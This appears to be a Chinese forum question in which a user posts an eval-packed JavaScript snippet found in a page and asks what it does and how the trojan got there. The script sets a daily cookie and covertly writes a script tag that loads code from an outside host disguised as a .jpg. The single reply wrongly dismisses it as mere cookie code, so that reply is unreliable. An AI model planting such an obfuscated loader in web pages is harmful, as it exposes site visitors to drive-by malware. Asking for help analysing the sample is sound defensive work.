这段eval加密的谁能帮我翻译出来，另外能说说是通过什么途径挂马的吗

Question

<script language="javascript">
if(document.cookie.indexOf('hello')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='hello=Yes;path=/;expires='+expires.toGMTString()
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\ \w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\ \b'+e(c)+'\\b','g'),k[c]);return p}('3.e("<b 9=7 c=5://6.a.2/4/d/f/1.8?0></b>\',62,16,'133|ads|com|document|wap|http|club|javascript|jpg|language|9istyle|script|src|include|writeln|main'.split('|'),0,{}));}
</script>")

Answer 1

这不就是个写cookie的代码嘛！